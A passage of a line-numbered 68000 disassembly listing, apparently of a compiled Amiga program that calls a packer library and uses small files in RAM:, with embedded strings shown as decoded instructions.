  1128.     MOVE.L    D7,-(A6)        ;0C62: 2D07
  1129.     MOVEQ    #0,D7            ;0C64: 7E00
  1130.     JSR    -1728(A3)        ;0C66: 4EABF940
  1131.     JSR    -1572(A3)        ;0C6A: 4EABF9DC
  1132.     JSR    -240(A3)        ;0C6E: 4EABFF10
  1133.     MOVE.L    D7,-(A6)        ;0C72: 2D07
  1134.     MOVEQ    #0,D7            ;0C74: 7E00
  1135.     JSR    -1728(A3)        ;0C76: 4EABF940
  1136.     JSR    -1572(A3)        ;0C7A: 4EABF9DC
  1137.     JSR    -240(A3)        ;0C7E: 4EABFF10
  1138.     JSR    -930(A3)        ;0C82: 4EABFC5E
  1139.     MOVE.L    #$003C0000,(A5)        ;0C86: 2ABC003C0000
  1140.     JSR    20(A5)            ;0C8C: 4EAD0014
  1141.     LEA    3840(A5),A0        ;0C90: 41ED0F00
  1142.     MOVE.L    A0,-(A6)        ;0C94: 2D08
  1143.     MOVEQ    #1,D7            ;0C96: 7E01
  1144.     JSR    -1728(A3)        ;0C98: 4EABF940
  1145.     JSR    -1572(A3)        ;0C9C: 4EABF9DC
  1146.     MOVE.L    D7,-(A6)        ;0CA0: 2D07
  1147.     MOVEQ    #0,D7            ;0CA2: 7E00
  1148.     JSR    -1728(A3)        ;0CA4: 4EABF940
  1149.     JSR    -1572(A3)        ;0CA8: 4EABF9DC
  1150.     JSR    -240(A3)        ;0CAC: 4EABFF10
  1151.     MOVE.L    D7,-(A6)        ;0CB0: 2D07
  1152.     MOVEQ    #1,D7            ;0CB2: 7E01
  1153.     JSR    -1728(A3)        ;0CB4: 4EABF940
  1154.     JSR    -1572(A3)        ;0CB8: 4EABF9DC
  1155.     JSR    -240(A3)        ;0CBC: 4EABFF10
  1156.     MOVE.L    D7,-(A6)        ;0CC0: 2D07
  1157.     MOVEQ    #0,D7            ;0CC2: 7E00
  1158.     JSR    -1728(A3)        ;0CC4: 4EABF940
  1159.     JSR    -1572(A3)        ;0CC8: 4EABF9DC
  1160.     JSR    -240(A3)        ;0CCC: 4EABFF10
  1161.     MOVE.L    D7,-(A6)        ;0CD0: 2D07
  1162.     MOVEQ    #8,D7            ;0CD2: 7E08
  1163.     JSR    -1728(A3)        ;0CD4: 4EABF940
  1164.     JSR    -1572(A3)        ;0CD8: 4EABF9DC
  1165.     JSR    -240(A3)        ;0CDC: 4EABFF10
  1166.     MOVE.L    D7,-(A6)        ;0CE0: 2D07
  1167.     MOVEQ    #0,D7            ;0CE2: 7E00
  1168.     JSR    -1728(A3)        ;0CE4: 4EABF940
  1169.     JSR    -1572(A3)        ;0CE8: 4EABF9DC
  1170.     JSR    -240(A3)        ;0CEC: 4EABFF10
  1171.     MOVE.L    D7,-(A6)        ;0CF0: 2D07
  1172.     MOVEQ    #8,D7            ;0CF2: 7E08
  1173.     JSR    -1728(A3)        ;0CF4: 4EABF940
  1174.     JSR    -1572(A3)        ;0CF8: 4EABF9DC
  1175.     JSR    -240(A3)        ;0CFC: 4EABFF10
  1176.     MOVE.L    D7,-(A6)        ;0D00: 2D07
  1177.     MOVEQ    #0,D7            ;0D02: 7E00
  1178.     JSR    -1728(A3)        ;0D04: 4EABF940
  1179.     JSR    -1572(A3)        ;0D08: 4EABF9DC
  1180.     JSR    -240(A3)        ;0D0C: 4EABFF10
  1181.     MOVE.L    D7,-(A6)        ;0D10: 2D07
  1182.     MOVEQ    #0,D7            ;0D12: 7E00
  1183.     JSR    -1728(A3)        ;0D14: 4EABF940
  1184.     JSR    -1572(A3)        ;0D18: 4EABF9DC
  1185.     JSR    -240(A3)        ;0D1C: 4EABFF10
  1186.     MOVE.L    D7,-(A6)        ;0D20: 2D07
  1187.     MOVEQ    #0,D7            ;0D22: 7E00
  1188.     JSR    -1728(A3)        ;0D24: 4EABF940
  1189.     JSR    -1572(A3)        ;0D28: 4EABF9DC
  1190.     JSR    -240(A3)        ;0D2C: 4EABFF10
  1191.     MOVE.L    D7,-(A6)        ;0D30: 2D07
  1192.     MOVEQ    #0,D7            ;0D32: 7E00
  1193.     JSR    -1728(A3)        ;0D34: 4EABF940
  1194.     JSR    -1572(A3)        ;0D38: 4EABF9DC
  1195.     JSR    -240(A3)        ;0D3C: 4EABFF10
  1196.     MOVE.L    D7,-(A6)        ;0D40: 2D07
  1197.     LEA    3808(A5),A0        ;0D42: 41ED0EE0
  1198.     MOVE.L    A0,D7            ;0D46: 2E08
  1199.     JSR    -240(A3)        ;0D48: 4EABFF10
  1200.     MOVE.L    D7,-(A6)        ;0D4C: 2D07
  1201.     MOVEQ    #0,D7            ;0D4E: 7E00
  1202.     JSR    -1728(A3)        ;0D50: 4EABF940
  1203.     JSR    -1572(A3)        ;0D54: 4EABF9DC
  1204.     JSR    -240(A3)        ;0D58: 4EABFF10
  1205.     MOVE.L    D7,-(A6)        ;0D5C: 2D07
  1206.     MOVEQ    #0,D7            ;0D5E: 7E00
  1207.     JSR    -1728(A3)        ;0D60: 4EABF940
  1208.     JSR    -1572(A3)        ;0D64: 4EABF9DC
  1209.     JSR    -240(A3)        ;0D68: 4EABFF10
  1210.     MOVE.L    D7,-(A6)        ;0D6C: 2D07
  1211.     MOVEQ    #0,D7            ;0D6E: 7E00
  1212.     JSR    -1728(A3)        ;0D70: 4EABF940
  1213.     JSR    -1572(A3)        ;0D74: 4EABF9DC
  1214.     JSR    -240(A3)        ;0D78: 4EABFF10
  1215.     MOVE.L    D7,-(A6)        ;0D7C: 2D07
  1216.     MOVEQ    #0,D7            ;0D7E: 7E00
  1217.     JSR    -1728(A3)        ;0D80: 4EABF940
  1218.     JSR    -1572(A3)        ;0D84: 4EABF9DC
  1219.     JSR    -240(A3)        ;0D88: 4EABFF10
  1220.     JSR    -930(A3)        ;0D8C: 4EABFC5E
  1221.     MOVE.L    #$003D0000,(A5)        ;0D90: 2ABC003D0000
  1222.     JSR    20(A5)            ;0D96: 4EAD0014
  1223.     LEA    3848(A5),A0        ;0D9A: 41ED0F08
  1224.     MOVE.L    A0,-(A6)        ;0D9E: 2D08
  1225.     MOVEQ    #1,D7            ;0DA0: 7E01
  1226.     JSR    -1728(A3)        ;0DA2: 4EABF940
  1227.     JSR    -1572(A3)        ;0DA6: 4EABF9DC
  1228.     MOVE.L    D7,-(A6)        ;0DAA: 2D07
  1229.     MOVEQ    #0,D7            ;0DAC: 7E00
  1230.     JSR    -1728(A3)        ;0DAE: 4EABF940
  1231.     JSR    -1572(A3)        ;0DB2: 4EABF9DC
  1232.     JSR    -240(A3)        ;0DB6: 4EABFF10
  1233.     MOVE.L    D7,-(A6)        ;0DBA: 2D07
  1234.     MOVEQ    #1,D7            ;0DBC: 7E01
  1235.     JSR    -1728(A3)        ;0DBE: 4EABF940
  1236.     JSR    -1572(A3)        ;0DC2: 4EABF9DC
  1237.     JSR    -240(A3)        ;0DC6: 4EABFF10
  1238.     MOVE.L    D7,-(A6)        ;0DCA: 2D07
  1239.     MOVEQ    #0,D7            ;0DCC: 7E00
  1240.     JSR    -1728(A3)        ;0DCE: 4EABF940
  1241.     JSR    -1572(A3)        ;0DD2: 4EABF9DC
  1242.     JSR    -240(A3)        ;0DD6: 4EABFF10
  1243.     MOVE.L    D7,-(A6)        ;0DDA: 2D07
  1244.     MOVEQ    #8,D7            ;0DDC: 7E08
  1245.     JSR    -1728(A3)        ;0DDE: 4EABF940
  1246.     JSR    -1572(A3)        ;0DE2: 4EABF9DC
  1247.     JSR    -240(A3)        ;0DE6: 4EABFF10
  1248.     MOVE.L    D7,-(A6)        ;0DEA: 2D07
  1249.     MOVEQ    #0,D7            ;0DEC: 7E00
  1250.     JSR    -1728(A3)        ;0DEE: 4EABF940
  1251.     JSR    -1572(A3)        ;0DF2: 4EABF9DC
  1252.     JSR    -240(A3)        ;0DF6: 4EABFF10
  1253.     MOVE.L    D7,-(A6)        ;0DFA: 2D07
  1254.     MOVEQ    #8,D7            ;0DFC: 7E08
  1255.     JSR    -1728(A3)        ;0DFE: 4EABF940
  1256.     JSR    -1572(A3)        ;0E02: 4EABF9DC
  1257.     JSR    -240(A3)        ;0E06: 4EABFF10
  1258.     MOVE.L    D7,-(A6)        ;0E0A: 2D07
  1259.     MOVEQ    #0,D7            ;0E0C: 7E00
  1260.     JSR    -1728(A3)        ;0E0E: 4EABF940
  1261.     JSR    -1572(A3)        ;0E12: 4EABF9DC
  1262.     JSR    -240(A3)        ;0E16: 4EABFF10
  1263.     MOVE.L    D7,-(A6)        ;0E1A: 2D07
  1264.     MOVEQ    #0,D7            ;0E1C: 7E00
  1265.     JSR    -1728(A3)        ;0E1E: 4EABF940
  1266.     JSR    -1572(A3)        ;0E22: 4EABF9DC
  1267.     JSR    -240(A3)        ;0E26: 4EABFF10
  1268.     MOVE.L    D7,-(A6)        ;0E2A: 2D07
  1269.     MOVEQ    #0,D7            ;0E2C: 7E00
  1270.     JSR    -1728(A3)        ;0E2E: 4EABF940
  1271.     JSR    -1572(A3)        ;0E32: 4EABF9DC
  1272.     JSR    -240(A3)        ;0E36: 4EABFF10
  1273.     MOVE.L    D7,-(A6)        ;0E3A: 2D07
  1274.     MOVEQ    #0,D7            ;0E3C: 7E00
  1275.     JSR    -1728(A3)        ;0E3E: 4EABF940
  1276.     JSR    -1572(A3)        ;0E42: 4EABF9DC
  1277.     JSR    -240(A3)        ;0E46: 4EABFF10
  1278.     MOVE.L    D7,-(A6)        ;0E4A: 2D07
  1279.     LEA    3816(A5),A0        ;0E4C: 41ED0EE8
  1280.     MOVE.L    A0,D7            ;0E50: 2E08
  1281.     JSR    -240(A3)        ;0E52: 4EABFF10
  1282.     MOVE.L    D7,-(A6)        ;0E56: 2D07
  1283.     MOVEQ    #0,D7            ;0E58: 7E00
  1284.     JSR    -1728(A3)        ;0E5A: 4EABF940
  1285.     JSR    -1572(A3)        ;0E5E: 4EABF9DC
  1286.     JSR    -240(A3)        ;0E62: 4EABFF10
  1287.     MOVE.L    D7,-(A6)        ;0E66: 2D07
  1288.     MOVEQ    #0,D7            ;0E68: 7E00
  1289.     JSR    -1728(A3)        ;0E6A: 4EABF940
  1290.     JSR    -1572(A3)        ;0E6E: 4EABF9DC
  1291.     JSR    -240(A3)        ;0E72: 4EABFF10
  1292.     MOVE.L    D7,-(A6)        ;0E76: 2D07
  1293.     MOVEQ    #0,D7            ;0E78: 7E00
  1294.     JSR    -1728(A3)        ;0E7A: 4EABF940
  1295.     JSR    -1572(A3)        ;0E7E: 4EABF9DC
  1296.     JSR    -240(A3)        ;0E82: 4EABFF10
  1297.     MOVE.L    D7,-(A6)        ;0E86: 2D07
  1298.     MOVEQ    #0,D7            ;0E88: 7E00
  1299.     JSR    -1728(A3)        ;0E8A: 4EABF940
  1300.     JSR    -1572(A3)        ;0E8E: 4EABF9DC
  1301.     JSR    -240(A3)        ;0E92: 4EABFF10
  1302.     JSR    -930(A3)        ;0E96: 4EABFC5E
  1303.     MOVE.L    #$003F0000,(A5)        ;0E9A: 2ABC003F0000
  1304.     JSR    20(A5)            ;0EA0: 4EAD0014
  1305.     MOVEQ    #0,D7            ;0EA4: 7E00
  1306.     MOVE    D7,-(A6)        ;0EA6: 3D07
  1307.     LEA    3856(A5),A0        ;0EA8: 41ED0F10
  1308.     MOVE.L    A0,D7            ;0EAC: 2E08
  1309.     MOVEQ    #65,D3            ;0EAE: 7641
  1310.     JSR    -774(A3)        ;0EB0: 4EABFCFA
  1311.     MOVEA.L    D7,A0            ;0EB4: 2047
  1312.     MOVE.L    (A0),D7            ;0EB6: 2E10
  1313.     MOVE.L    D7,3940(A5)        ;0EB8: 2B470F64
  1314.     MOVE.L    #$00430000,(A5)        ;0EBC: 2ABC00430000
  1315.     JSR    20(A5)            ;0EC2: 4EAD0014
  1316.     MOVEQ    #0,D7            ;0EC6: 7E00
  1317.     MOVE.L    D7,-(A6)        ;0EC8: 2D07
  1318.     LEA    3824(A5),A0        ;0ECA: 41ED0EF0
  1319.     MOVE.L    A0,D7            ;0ECE: 2E08
  1320.     JSR    -1560(A3)        ;0ED0: 4EABF9E8
  1321.     MOVE.L    D7,-(A6)        ;0ED4: 2D07
  1322.     MOVEQ    #1,D7            ;0ED6: 7E01
  1323.     NEG.L    D7            ;0ED8: 4487
  1324.     ADD.L    (A6)+,D7        ;0EDA: DE9E
  1325.     TRAPV                ;0EDC: 4E76
  1326.     MOVE.L    D7,-(A6)        ;0EDE: 2D07
  1327.     LEA    3832(A5),A0        ;0EE0: 41ED0EF8
  1328.     MOVE.L    A0,D7            ;0EE4: 2E08
  1329.     JSR    -1560(A3)        ;0EE6: 4EABF9E8
  1330.     MOVE.L    D7,-(A6)        ;0EEA: 2D07
  1331.     MOVEQ    #1,D7            ;0EEC: 7E01
  1332.     NEG.L    D7            ;0EEE: 4487
  1333.     ADD.L    (A6)+,D7        ;0EF0: DE9E
  1334.     TRAPV                ;0EF2: 4E76
  1335.     MOVE.L    D7,-(A6)        ;0EF4: 2D07
  1336.     LEA    3840(A5),A0        ;0EF6: 41ED0F00
  1337.     MOVE.L    A0,D7            ;0EFA: 2E08
  1338.     JSR    -1560(A3)        ;0EFC: 4EABF9E8
  1339.     MOVE.L    D7,-(A6)        ;0F00: 2D07
  1340.     MOVEQ    #1,D7            ;0F02: 7E01
  1341.     NEG.L    D7            ;0F04: 4487
  1342.     ADD.L    (A6)+,D7        ;0F06: DE9E
  1343.     TRAPV                ;0F08: 4E76
  1344.     MOVE.L    D7,-(A6)        ;0F0A: 2D07
  1345.     MOVEQ    #0,D7            ;0F0C: 7E00
  1346.     MOVE.L    D7,-(A6)        ;0F0E: 2D07
  1347.     MOVEQ    #0,D7            ;0F10: 7E00
  1348.     MOVE.L    D7,-(A6)        ;0F12: 2D07
  1349.     MOVEQ    #100,D7            ;0F14: 7E64
  1350.     MOVE.L    D7,-(A6)        ;0F16: 2D07
  1351.     MOVEQ    #50,D7            ;0F18: 7E32
  1352.     MOVEM.L    A3-A4,-(A7)        ;0F1A: 48E70018
  1353.     MOVE.L    D7,D3            ;0F1E: 2607
  1354.     MOVE.L    (A6)+,D2        ;0F20: 241E
  1355.     MOVE.L    (A6)+,D1        ;0F22: 221E
  1356.     MOVE.L    (A6)+,D0        ;0F24: 201E
  1357.     MOVEA.L    (A6)+,A3        ;0F26: 265E
  1358.     MOVEA.L    (A6)+,A2        ;0F28: 245E
  1359.     MOVEA.L    (A6)+,A1        ;0F2A: 225E
  1360.     MOVEA.L    (A6)+,A0        ;0F2C: 205E
  1361.     MOVE.L    A6,-(A7)        ;0F2E: 2F0E
  1362.     MOVEA.L    358(A5),A6        ;0F30: 2C6D0166
  1363.     JSR    -348(A6)        ;0F34: 4EAEFEA4
  1364.     MOVEA.L    (A7)+,A6        ;0F38: 2C5F
  1365.     MOVEM.L    (A7)+,A3-A4        ;0F3A: 4CDF1800
  1366.     MOVE.L    D0,D7            ;0F3E: 2E00
  1367.     MOVE.L    D7,3944(A5)        ;0F40: 2B470F68
  1368.     MOVE.L    #$00470000,(A5)        ;0F44: 2ABC00470000
  1369.     JSR    20(A5)            ;0F4A: 4EAD0014
  1370.     MOVEQ    #50,D7            ;0F4E: 7E32
  1371.     MULS    #$000A,D7        ;0F50: CFFC000A
  1372.     MOVEA    D7,A0            ;0F54: 3047
  1373.     CMPA.L    D7,A0            ;0F56: B1C7
  1374.     BEQ.S    LAB_003A        ;0F58: 6704
  1375.     JSR    -1722(A3)        ;0F5A: 4EABF946
  1376. LAB_003A:
  1377.     JSR    -132(A3)        ;0F5E: 4EABFF7C
  1378.     MOVE.L    D7,3948(A5)        ;0F62: 2B470F6C
  1379.     MOVE.L    #$00480000,(A5)        ;0F66: 2ABC00480000
  1380.     JSR    20(A5)            ;0F6C: 4EAD0014
  1381.     MOVE.L    3948(A5),D7        ;0F70: 2E2D0F6C
  1382.     JSR    -120(A3)        ;0F74: 4EABFF88
  1383.     TRAPV                ;0F78: 4E76
  1384.     MOVE.L    D7,D1            ;0F7A: 2207
  1385.     MOVE.L    A6,-(A7)        ;0F7C: 2F0E
  1386.     MOVEA.L    366(A5),A6        ;0F7E: 2C6D016E
  1387.     JSR    -198(A6)        ;0F82: 4EAEFF3A
  1388.     MOVEA.L    (A7)+,A6        ;0F86: 2C5F
  1389.     MOVE.L    D0,D7            ;0F88: 2E00
  1390.     MOVE.L    D7,3952(A5)        ;0F8A: 2B470F70
  1391.     MOVE.L    #$004A0000,(A5)        ;0F8E: 2ABC004A0000
  1392.     JSR    20(A5)            ;0F94: 4EAD0014
  1393.     MOVE.L    3912(A5),D7        ;0F98: 2E2D0F48
  1394.     MOVEA.L    D7,A0            ;0F9C: 2047
  1395.     MOVE.L    A6,-(A7)        ;0F9E: 2F0E
  1396.     MOVEA.L    362(A5),A6        ;0FA0: 2C6D016A
  1397.     JSR    -102(A6)        ;0FA4: 4EAEFF9A
  1398.     MOVEA.L    (A7)+,A6        ;0FA8: 2C5F
  1399.     MOVE.L    #$004B0000,(A5)        ;0FAA: 2ABC004B0000
  1400.     JSR    20(A5)            ;0FB0: 4EAD0014
  1401.     MOVE.L    3916(A5),D7        ;0FB4: 2E2D0F4C
  1402.     MOVEA.L    D7,A0            ;0FB8: 2047
  1403.     MOVE.L    A6,-(A7)        ;0FBA: 2F0E
  1404.     MOVEA.L    362(A5),A6        ;0FBC: 2C6D016A
  1405.     JSR    -102(A6)        ;0FC0: 4EAEFF9A
  1406.     MOVEA.L    (A7)+,A6        ;0FC4: 2C5F
  1407.     MOVE.L    #$004C0000,(A5)        ;0FC6: 2ABC004C0000
  1408.     JSR    20(A5)            ;0FCC: 4EAD0014
  1409.     MOVE.L    3920(A5),D7        ;0FD0: 2E2D0F50
  1410.     MOVEA.L    D7,A0            ;0FD4: 2047
  1411.     MOVE.L    A6,-(A7)        ;0FD6: 2F0E
  1412.     MOVEA.L    362(A5),A6        ;0FD8: 2C6D016A
  1413.     JSR    -102(A6)        ;0FDC: 4EAEFF9A
  1414.     MOVEA.L    (A7)+,A6        ;0FE0: 2C5F
  1415.     MOVE.L    #$004D0000,(A5)        ;0FE2: 2ABC004D0000
  1416.     JSR    20(A5)            ;0FE8: 4EAD0014
  1417.     MOVE.L    3924(A5),D7        ;0FEC: 2E2D0F54
  1418.     MOVEA.L    D7,A0            ;0FF0: 2047
  1419.     MOVE.L    A6,-(A7)        ;0FF2: 2F0E
  1420.     MOVEA.L    362(A5),A6        ;0FF4: 2C6D016A
  1421.     JSR    -102(A6)        ;0FF8: 4EAEFF9A
  1422.     MOVEA.L    (A7)+,A6        ;0FFC: 2C5F
  1423.     MOVE.L    #$004F0000,(A5)        ;0FFE: 2ABC004F0000
  1424.     JSR    20(A5)            ;1004: 4EAD0014
  1425.     JSR    -798(A3)        ;1008: 4EABFCE2
  1426.     DC.W    $0007            ;100C
  1427.     MOVEQ    #97,D1            ;100E: 7261
  1428.     BLT.S    LAB_003B+2        ;1010: 6D3A
  1429.     SUBQ    #4,D5            ;1012: 5945
  1430.     SUBQ.B    #1,D0            ;1014: 5300
  1431.     MOVE.L    D7,-(A6)        ;1016: 2D07
  1432.     MOVEQ    #2,D7            ;1018: 7E02
  1433.     MOVE    D7,-(A6)        ;101A: 3D07
  1434.     MOVEQ    #1,D7            ;101C: 7E01
  1435.     MOVE    D7,-(A6)        ;101E: 3D07
  1436.     MOVE    #$0080,D7        ;1020: 3E3C0080
  1437.     JSR    -858(A3)        ;1024: 4EABFCA6
  1438.     MOVE.L    #$00500000,(A5)        ;1028: 2ABC00500000
  1439.     JSR    20(A5)            ;102E: 4EAD0014
  1440.     MOVEQ    #1,D7            ;1032: 7E01
  1441.     JSR    -1194(A3)        ;1034: 4EABFB56
  1442.     JSR    -798(A3)        ;1038: 4EABFCE2
  1443.     DC.W    $0001            ;103C
  1444.     DC.W    $7900            ;103E
  1445.     JSR    -612(A3)        ;1040: 4EABFD9C
  1446.     MOVE.L    #$00510000,(A5)        ;1044: 2ABC00510000
  1447. LAB_003B:
  1448.     JSR    20(A5)            ;104A: 4EAD0014
  1449.     MOVEQ    #1,D7            ;104E: 7E01
  1450.     JSR    -864(A3)        ;1050: 4EABFCA0
  1451.     MOVE.L    #$00530000,(A5)        ;1054: 2ABC00530000
  1452.     JSR    20(A5)            ;105A: 4EAD0014
  1453.     JSR    -798(A3)        ;105E: 4EABFCE2
  1454.     DC.W    $0016            ;1062
  1455.     DC.W    $6C69            ;1064
  1456.     DC.W    $6273            ;1066
  1457.     MOVEA    24952(A5),A5        ;1068: 3A6D6178
  1458.     MOVEQ    #97,D0            ;106C: 7061
  1459.     DC.W    $636B            ;106E
  1460.     BCS.S    LAB_003C        ;1070: 6572
  1461.     MOVEA.L    26978(A4),A7        ;1072: 2E6C6962
  1462.     MOVEQ    #97,D1            ;1076: 7261
  1463.     MOVEQ    #121,D1            ;1078: 7279
  1464.     MOVE.L    D7,-(A6)        ;107A: 2D07
  1465.     MOVEQ    #1,D7            ;107C: 7E01
  1466.     MOVE    D7,-(A6)        ;107E: 3D07
  1467.     MOVEQ    #1,D7            ;1080: 7E01
  1468.     MOVE    D7,-(A6)        ;1082: 3D07
  1469.     MOVE    #$0080,D7        ;1084: 3E3C0080
  1470.     JSR    -858(A3)        ;1088: 4EABFCA6
  1471.     MOVE.L    #$00540000,(A5)        ;108C: 2ABC00540000
  1472.     JSR    20(A5)            ;1092: 4EAD0014
  1473.     MOVEQ    #1,D7            ;1096: 7E01
  1474.     JSR    -1566(A3)        ;1098: 4EABF9E2
  1475.     MOVE.L    D7,3956(A5)        ;109C: 2B470F74
  1476.     MOVE.L    #$00550000,(A5)        ;10A0: 2ABC00550000
  1477.     JSR    20(A5)            ;10A6: 4EAD0014
  1478.     LEA    3864(A5),A0        ;10AA: 41ED0F18
  1479.     MOVE.L    A0,-(A6)        ;10AE: 2D08
  1480.     MOVE.L    3956(A5),-(A6)        ;10B0: 2D2D0F74
  1481.     MOVEQ    #1,D7            ;10B4: 7E01
  1482.     JSR    -2424(A3)        ;10B6: 4EABF688
  1483.     JSR    -930(A3)        ;10BA: 4EABFC5E
  1484.     MOVE.L    #$00560000,(A5)        ;10BE: 2ABC00560000
  1485.     JSR    20(A5)            ;10C4: 4EAD0014
  1486.     MOVEQ    #1,D7            ;10C8: 7E01
  1487.     JSR    -864(A3)        ;10CA: 4EABFCA0
  1488.     MOVE.L    #$00570000,(A5)        ;10CE: 2ABC00570000
  1489.     JSR    20(A5)            ;10D4: 4EAD0014
  1490.     JSR    -798(A3)        ;10D8: 4EABFCE2
  1491.     DC.W    $0009            ;10DC
  1492.     MOVEQ    #97,D1            ;10DE: 7261
  1493.     BLT.S    LAB_003D        ;10E0: 6D3A
  1494.     MOVEQ    #117,D1            ;10E2: 7275
  1495. LAB_003C:
  1496.     DC.W    $6E69            ;10E4
  1497.     MOVEQ    #0,D2            ;10E6: 7400
  1498.     MOVE.L    D7,-(A6)        ;10E8: 2D07
  1499.     MOVEQ    #2,D7            ;10EA: 7E02
  1500.     MOVE    D7,-(A6)        ;10EC: 3D07
  1501.     MOVEQ    #2,D7            ;10EE: 7E02
  1502.     MOVE    D7,-(A6)        ;10F0: 3D07
  1503.     MOVE    #$0080,D7        ;10F2: 3E3C0080
  1504.     JSR    -858(A3)        ;10F6: 4EABFCA6
  1505.     MOVE.L    #$00580000,(A5)        ;10FA: 2ABC00580000
  1506.     JSR    20(A5)            ;1100: 4EAD0014
  1507.     MOVE.L    #$000017F1,-(A6)    ;1104: 2D3C000017F1
  1508.     LEA    3864(A5),A0        ;110A: 41ED0F18
  1509.     MOVE.L    A0,D7            ;110E: 2E08
  1510.     JSR    -1512(A3)        ;1110: 4EABFA18
  1511.     MOVE.L    D7,-(A6)        ;1114: 2D07
  1512.     MOVEQ    #1,D7            ;1116: 7E01
  1513.     LEA    3960(A5),A0        ;1118: 41ED0F78
  1514. LAB_003D:
  1515.     JSR    -1686(A3)        ;111C: 4EABF96A
  1516.     BRA    LAB_0040        ;1120: 60000096
  1517.     NOP                ;1124: 4E71
  1518. LAB_003E:
  1519.     MOVE.L    #$00590000,(A5)        ;1126: 2ABC00590000
  1520.     JSR    20(A5)            ;112C: 4EAD0014
  1521.     LEA    3872(A5),A0        ;1130: 41ED0F20
  1522.     MOVE.L    A0,-(A6)        ;1134: 2D08
  1523.     LEA    3864(A5),A0        ;1136: 41ED0F18
  1524.     MOVE.L    A0,-(A6)        ;113A: 2D08
  1525.     MOVE.L    3960(A5),-(A6)        ;113C: 2D2D0F78
  1526.     MOVEQ    #1,D7            ;1140: 7E01
  1527.     JSR    -996(A3)        ;1142: 4EABFC1C
  1528.     JSR    -930(A3)        ;1146: 4EABFC5E
  1529.     MOVE.L    #$005A0000,(A5)        ;114A: 2ABC005A0000
  1530.     JSR    20(A5)            ;1150: 4EAD0014
  1531.     LEA    3872(A5),A0        ;1154: 41ED0F20
  1532.     MOVE.L    A0,D7            ;1158: 2E08
  1533.     JSR    -1518(A3)        ;115A: 4EABFA12
  1534.     MOVE    D7,-(A6)        ;115E: 3D07
  1535.     MOVE    #$00B2,D7        ;1160: 3E3C00B2
  1536.     MOVE    (A6)+,D0        ;1164: 301E
  1537.     EOR    D0,D7            ;1166: B147
  1538.     JSR    -132(A3)        ;1168: 4EABFF7C
  1539.     MOVE.L    D7,3972(A5)        ;116C: 2B470F84
  1540.     MOVE.L    #$005B0000,(A5)        ;1170: 2ABC005B0000
  1541.     JSR    20(A5)            ;1176: 4EAD0014
  1542.     MOVEQ    #2,D7            ;117A: 7E02
  1543.     JSR    -1194(A3)        ;117C: 4EABFB56
  1544.     MOVE.L    3972(A5),D7        ;1180: 2E2D0F84
  1545.     JSR    -120(A3)        ;1184: 4EABFF88
  1546.     MOVEA    D7,A0            ;1188: 3047
  1547.     CMPA.L    D7,A0            ;118A: B1C7
  1548.     BEQ.S    LAB_003F        ;118C: 6704
  1549.     JSR    -1722(A3)        ;118E: 4EABF946
  1550. LAB_003F:
  1551.     TRAPV                ;1192: 4E76
  1552.     JSR    -1728(A3)        ;1194: 4EABF940
  1553.     JSR    -1572(A3)        ;1198: 4EABF9DC
  1554.     JSR    -612(A3)        ;119C: 4EABFD9C
  1555.     MOVE.L    #$005C0000,(A5)        ;11A0: 2ABC005C0000
  1556.     JSR    20(A5)            ;11A6: 4EAD0014
  1557.     LEA    3960(A5),A0        ;11AA: 41ED0F78
  1558.     JSR    -1698(A3)        ;11AE: 4EABF95E
  1559.     BRA    LAB_003E        ;11B2: 6000FF72
  1560.     NOP                ;11B6: 4E71
  1561. LAB_0040:
  1562.     MOVE.L    #$005D0000,(A5)        ;11B8: 2ABC005D0000
  1563.     JSR    20(A5)            ;11BE: 4EAD0014
  1564.     MOVEQ    #2,D7            ;11C2: 7E02
  1565.     JSR    -864(A3)        ;11C4: 4EABFCA0
  1566.     MOVE.L    #$005F0000,(A5)        ;11C8: 2ABC005F0000
  1567.     JSR    20(A5)            ;11CE: 4EAD0014
  1568.     MOVE.L    #LAB_0000,478(A5)    ;11D2: 2B7C0000000C01DE
  1569. LAB_0041:
  1570.     MOVE.L    #$00600000,(A5)        ;11DA: 2ABC00600000
  1571.     JSR    20(A5)            ;11E0: 4EAD0014
  1572.     LEA    3880(A5),A0        ;11E4: 41ED0F28
  1573.     MOVE.L    A0,-(A6)        ;11E8: 2D08
  1574.     JSR    -798(A3)        ;11EA: 4EABFCE2
  1575.     DC.W    $0002            ;11EE
  1576.     DC.W    $2D31            ;11F0
  1577.     JSR    -444(A3)        ;11F2: 4EABFE44
  1578.     TST    D7            ;11F6: 4A47
  1579.     BEQ    LAB_0043        ;11F8: 67000084
  1580.     MOVE.L    #$00610000,(A5)        ;11FC: 2ABC00610000
  1581.     JSR    20(A5)            ;1202: 4EAD0014
  1582.     LEA    3880(A5),A0        ;1206: 41ED0F28
  1583.     MOVE.L    A0,-(A6)        ;120A: 2D08
  1584.     JSR    -660(A3)        ;120C: 4EABFD6C
  1585.     JSR    -930(A3)        ;1210: 4EABFC5E
  1586.     MOVE.L    #$00620000,(A5)        ;1214: 2ABC00620000
  1587.     JSR    20(A5)            ;121A: 4EAD0014
  1588.     LEA    3880(A5),A0        ;121E: 41ED0F28
  1589.     MOVE.L    A0,-(A6)        ;1222: 2D08
  1590.     JSR    -798(A3)        ;1224: 4EABFCE2
  1591.     DC.W    $0002            ;1228
  1592.     DC.W    $2D31            ;122A
  1593.     JSR    -444(A3)        ;122C: 4EABFE44
  1594.     TST    D7            ;1230: 4A47
  1595.     BEQ    LAB_0042        ;1232: 6700003A
  1596.     MOVE.L    #$00630000,(A5)        ;1236: 2ABC00630000
  1597.     JSR    20(A5)            ;123C: 4EAD0014
  1598.     LEA    3888(A5),A0        ;1240: 41ED0F30
  1599.     MOVE.L    A0,-(A6)        ;1244: 2D08
  1600.     LEA    3888(A5),A0        ;1246: 41ED0F30
  1601.     MOVE.L    A0,-(A6)        ;124A: 2D08
  1602.     LEA    3880(A5),A0        ;124C: 41ED0F28
  1603.     MOVE.L    A0,D7            ;1250: 2E08
  1604.     JSR    -972(A3)        ;1252: 4EABFC34
  1605.     TRAPV                ;1256: 4E76
  1606.     JSR    -1734(A3)        ;1258: 4EABF93A
  1607.     TRAPV                ;125C: 4E76
  1608.     JSR    -1728(A3)        ;125E: 4EABF940
  1609.     JSR    -1572(A3)        ;1262: 4EABF9DC
  1610.     JSR    -240(A3)        ;1266: 4EABFF10
  1611.     JSR    -930(A3)        ;126A: 4EABFC5E
  1612. LAB_0042:
  1613.     MOVE.L    #$00660000,(A5)        ;126E: 2ABC00660000
  1614.     JSR    20(A5)            ;1274: 4EAD0014
  1615.     BRA    LAB_0041        ;1278: 6000FF60
  1616.     NOP                ;127C: 4E71
  1617. LAB_0043:
  1618.     MOVE.L    #$00670000,(A5)        ;127E: 2ABC00670000
